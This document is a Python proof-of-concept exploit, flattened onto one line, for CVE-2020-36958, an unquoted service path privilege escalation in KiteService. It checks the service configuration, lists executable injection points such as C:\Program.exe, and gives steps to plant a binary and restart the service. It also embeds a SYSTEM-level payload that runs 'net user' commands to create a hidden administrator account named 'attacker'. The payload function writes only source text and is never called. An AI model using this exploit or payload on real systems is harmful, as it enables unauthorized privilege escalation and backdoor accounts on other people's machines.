CVE-2020-36958 KiteService未引用服务路径权限提升漏洞

# CVE-2020-36958 PoC - KiteService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in KiteService import os import sys import subprocess import shutil def check_vulnerability(): """Check if the system is vulnerable to CVE-2020-36958""" try: # Check if KiteService exists kite_service_path = r'C:\Program Files\Kite\KiteService.exe' if not os.path.exists(kite_service_path): print('[-] KiteService not found - target may not be vulnerable') return False # Check service configuration using sc command result = subprocess.run( ['sc', 'qc', 'KiteService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f'[+] Service configuration found: {line.strip()}') # Check if path is unquoted (vulnerability exists) if '"' not in line and 'Program Files' in line: print('[+] VULNERABLE: Service path is unquoted!') return True else: print('[-] Service path is properly quoted') return False return False except Exception as e: print(f'[-] Error checking vulnerability: {e}') return False def create_elevated_payload(payload_path): """Create a malicious executable to be placed in unquoted path""" # This is a placeholder - in real attack, this would be malicious code malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ printf("CVE-2020-36958 Payload Executed!\\n"); // Add malicious code here // This will run with SYSTEM privileges // Example: Create a new user with admin privileges system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); return 0; }} ''' with open(payload_path, 'w') as f: f.write(malicious_code) print(f'[+] Payload created at: {payload_path}') def main(): print('='*60) print('CVE-2020-36958 - KiteService Unquoted Service Path') print('='*60) if not check_vulnerability(): print('[-] Target is not vulnerable') return print('\n[!] This is for educational purposes only!') print('[!] Unauthorized access to computer systems is illegal.') # Potential injection points injection_points = [ r'C:\Program.exe', r'C:\Program Files\Kite.exe' ] print('\n[+] Potential injection points:') for point in injection_points: print(f' - {point}') print('\n[+] To demonstrate the vulnerability:') print(' 1. Place a malicious executable at one of the injection points') print(' 2. Restart the KiteService or reboot the system') print(' 3. The malicious code will execute with SYSTEM privileges') if __name__ == '__main__': main()